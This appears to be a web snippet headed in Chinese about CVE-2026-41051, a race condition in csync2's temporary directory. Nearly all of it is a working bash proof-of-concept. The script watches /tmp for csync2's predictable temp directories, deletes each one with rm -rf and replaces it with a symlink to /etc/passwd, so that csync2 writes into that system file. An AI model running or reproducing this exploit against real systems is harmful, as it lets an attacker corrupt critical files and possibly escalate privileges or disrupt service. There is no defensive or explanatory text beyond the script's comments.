CVE-2026-41051 csync2临时目录TOCTOU漏洞

#!/bin/bash # PoC for CVE-2026-41051: TOCTOU on csync2 temporary directory # This script attempts to race with csync2 to replace a predictable temp directory. TARGET_DIR="/tmp/csync2-temp-" MALICIOUS_LINK="/etc/passwd" # Example target to disrupt echo "[+] Starting PoC for CVE-2026-41051..." # Monitor /tmp for csync2 directory creation while true; do # Look for recently created directories matching the pattern NEW_DIR=$(ls -td ${TARGET_DIR}* 2>/dev/null | head -n 1) if [ -n "$NEW_DIR" ]; then echo "[+] Detected potential temp directory: $NEW_DIR" # Attempt to remove and replace with a symlink before usage (Race Condition) # In a real scenario, precise timing or higher CPU priority might be needed rm -rf "$NEW_DIR" ln -s "$MALICIOUS_LINK" "$NEW_DIR" if [ -L "$NEW_DIR" ]; then echo "[!] Successfully replaced directory with symlink to $MALICIOUS_LINK" echo "[!] Waiting for csync2 to write to the link..." fi fi sleep 0.1 done